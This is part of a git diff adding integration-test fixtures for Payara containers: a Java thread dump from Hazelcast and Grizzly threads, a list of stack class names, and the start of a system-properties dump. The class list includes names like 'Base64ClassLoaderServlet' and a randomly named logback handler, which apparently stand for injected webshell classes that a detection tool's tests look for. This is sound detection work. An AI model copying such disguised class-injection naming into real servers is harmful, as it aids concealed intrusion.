java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.IO.thread-Acceptor" #83 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.acceptLoop(TcpServerAcceptor.java:186) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.run(TcpServerAcceptor.java:172) + +"EventAdminAsyncThread #2" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.MetricsRegistry.thread-2" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@605a4c80 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.partition-operation.thread-9" #53 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-listener-1-expirer(1)" #94 daemon [TIMED_WAITING] on java.lang.Object@4d8b9673 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.event-5" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6ea2e087 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.nervous_wescoff.InvocationMonitorThread" #73 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96bea0b + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.partition-operation.thread-6" #50 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #111 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a36a142 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"CM Configuration Updater" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5d5a50e2 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #4" #154 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Logging output pump" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b39acc8 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + +"hz.nervous_wescoff.IO.thread-out-0" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.cached.thread-1" #72 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@75067191 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Common-Cleaner" #11 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@67742591 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.21/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.21/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"Job Cleanup Service" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b378cbf + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Gogo shell" #164 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@572cb5c2 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.partition-operation.thread-2" #46 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.IO.thread-in-2" #78 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.partition-operation.thread-0" #44 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.response-1" #43 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.partition-operation.thread-8" #52 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Scheduled Executor Service" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@535ffee + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FileSystemWatchService" #161 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@11.0.21/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:316) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.cached.thread-2" #74 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/java.net.PlainSocketImpl.socketConnect(Native Method) + at java.base@11.0.21/java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:412) + at java.base@11.0.21/java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:255) + at java.base@11.0.21/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:237) + at java.base@11.0.21/java.net.Socket.connect(Socket.java:615) + at java.base@11.0.21/sun.net.NetworkClient.doConnect(NetworkClient.java:177) + at java.base@11.0.21/sun.net.www.http.HttpClient.openServer(HttpClient.java:509) + at java.base@11.0.21/sun.net.www.http.HttpClient.openServer(HttpClient.java:604) + at java.base@11.0.21/sun.net.www.http.HttpClient.(HttpClient.java:277) + at java.base@11.0.21/sun.net.www.http.HttpClient.New(HttpClient.java:376) + at java.base@11.0.21/sun.net.www.http.HttpClient.New(HttpClient.java:397) + at java.base@11.0.21/sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1258) + at java.base@11.0.21/sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1192) + at java.base@11.0.21/sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1086) + at java.base@11.0.21/sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1020) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:89) + at com.hazelcast.internal.util.phonehome.CloudInfoCollector.forEachMetric(CloudInfoCollector.java:84) + at com.hazelcast.internal.util.phonehome.PhoneHome.createParameters(PhoneHome.java:160) + at com.hazelcast.internal.util.phonehome.PhoneHome.phoneHome(PhoneHome.java:149) + at com.hazelcast.internal.util.phonehome.PhoneHome.lambda$check$0(PhoneHome.java:97) + at com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1438/0x0000000800927840.run(Unknown Source) + at com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator.run(DelegateAndSkipOnConcurrentExecutionDecorator.java:77) + at com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker.run(CachedExecutorServiceDelegate.java:217) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +ServletNameTestFilter +UrlMappingTestFilter +ch.qos.logback.cVwIK.ErrorEaidfHandler +com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread +com.hazelcast.internal.networking.nio.NioThread +com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread +com.hazelcast.internal.partition.impl.MigrationQueue +com.hazelcast.internal.partition.impl.MigrationThread +com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread +com.hazelcast.internal.util.concurrent.MPSCQueue +com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker +com.hazelcast.internal.util.executor.HazelcastManagedThread +com.hazelcast.internal.util.executor.StripedExecutor$Worker +com.hazelcast.internal.util.phonehome.CloudInfoCollector +com.hazelcast.internal.util.phonehome.MetricsCollector +com.hazelcast.internal.util.phonehome.PhoneHome +com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1438/0x0000000800927840 +com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator +com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl +com.hazelcast.spi.impl.operationexecutor.impl.OperationThread +com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread +com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask +com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread +fish.payara.nucleus.notification.NotifierHandler +fish.payara.nucleus.notification.NotifierHandler$$Lambda$1586/0x0000000800ab2040 +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.glassfish.tyrus.servlet.TyrusServletFilter +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/Payara6202412ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Payara6202412ContainerTestBasicInfo.txt new file mode 100644 index 00000000..3031ca7e --- /dev/null +++ b/integration-test/src/test/resources/infos/Payara6202412ContainerTestBasicInfo.txt @@ -0,0 +1,2080 @@ +# Generated At 2026-08-02 06:51:41 +SystemProps: +javax.xml.accessExternalSchema: all +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 17 +jdk.corba.allowOutputStreamSubclass: true +sun.jnu.encoding: UTF-8 +javax.net.ssl.trustStorePassword: changeit +com.sun.aas.installRoot: /opt/payara/appserver/glassfish +sun.arch.data.model: 64 +sun.font.fontmanager: sun.awt.X11FontManager +java.vendor.url: http://www.azul.com/ +com.sun.aas.productRoot: /opt/payara/appserver +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +sun.boot.library.path: /usr/lib/jvm/zulu17-ca-arm64/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -prebootcommandfile /opt/payara/config/pre-boot-commands-final.asadmin -upgrade false -read-stdin true -postbootcommandfile /opt/payara/config/post-boot-commands-final.asadmin -domainname domain1 -domaindir /opt/payara/appserver/glassfish/domains/domain1 -asadmin-args --host,,,localhost,,,--port,,,4848,,,--user,,,admin,,,--passwordfile,,,/opt/payara/passwordFile,,,--secure=false,,,--terse=false,,,--extraterse=false,,,--echo=false,,,--interactive=false,,,--autoname=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=false,,,--warmup=false,,,--domaindir,,,/opt/payara/appserver/glassfish/domains,,,domain1 -instancename server -type DAS -verbose false -warmup false -asadmin-classpath /opt/payara/appserver/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain -watchdog false +jdk.debug: release +java.specification.vendor: Oracle Corporation +gosh.args: --nointeractive +java.version.date: 2024-10-15 +java.home: /usr/lib/jvm/zulu17-ca-arm64 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: 